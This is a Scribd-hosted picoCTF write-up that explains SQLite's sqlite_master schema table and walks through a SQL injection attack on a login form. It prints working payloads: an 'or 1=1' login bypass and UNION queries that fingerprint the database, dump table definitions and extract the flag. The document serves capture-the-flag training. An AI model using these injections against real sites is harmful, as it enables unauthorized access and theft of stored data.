Scribd
Upload
10 views7 pages

PicoCTF SQLi Writeup Overview

The document discusses SQL injection (SQLi) techniques specifically targeting SQLite databases, highlighting the sqlite_master table which contains metadata about the database objects. It explains how to exploit a login screen by manipulating SQL queries to extract sensitive information, such as table names and flags. The writeup provides examples of SQL queries that can be used to identify the database and retrieve data from it.

Uploaded by

fsaif2520
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
10 views7 pages

PicoCTF SQLi Writeup Overview

The document discusses SQL injection (SQLi) techniques specifically targeting SQLite databases, highlighting the sqlite_master table which contains metadata about the database objects. It explains how to exploit a login screen by manipulating SQL queries to extract sensitive information, such as table names and flags. The writeup provides examples of SQL queries that can be used to identify the database and retrieve data from it.

Uploaded by

fsaif2520
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd

More SQLi

writeup
sqlite_master (the DB “master” /
schema table)
• Every SQLite database has a built-in schema table called sqlite_master (also
known as sqlite_schema) that stores metadata about the database: object type
(table/index/view/trigger), name, tbl_name and the sql used to create the object.
• sqlite_master is queryable like any other table (e.g. SELECT name, sql FROM
sqlite_master WHERE type='table'). It’s commonly used to list tables and read
table CREATE statements.
• Because it contains table names and CREATE TABLE SQL, leaking sqlite_master
can reveal table/column names (e.g. users(username,password)) — often the
fastest way to find targets for data extraction
writeup:
• After start of the instance picoCTF will provide you a link to running
instance.

• Site has login screen:


writeup:
• If you type `user` username and `user` pass - you will get this
message.

So now we see the query for login request - it is obviously a hint for
us, because when we know the query - we can easily get in with
`'or 1=1;--` in `pass` field:
writeup:
• Because the result query will be something like this:
• `SELECT id FROM users WHERE password = '' or 1=1;--' and
username = '123'`
• We can test some queries to find out, what DB is used, and with this
query:
• `123' UNION SELECT 1, sqlite_version(), 3;--`
• we now know, that this site is using SQLite.
• Now we can just list all tables with this query :
`123' UNION SELECT name, sql, null from sqlite_master;--`
• Here is the flag - let's get it.
• `123' UNION SELECT flag, null, null from more_table;--`

You might also like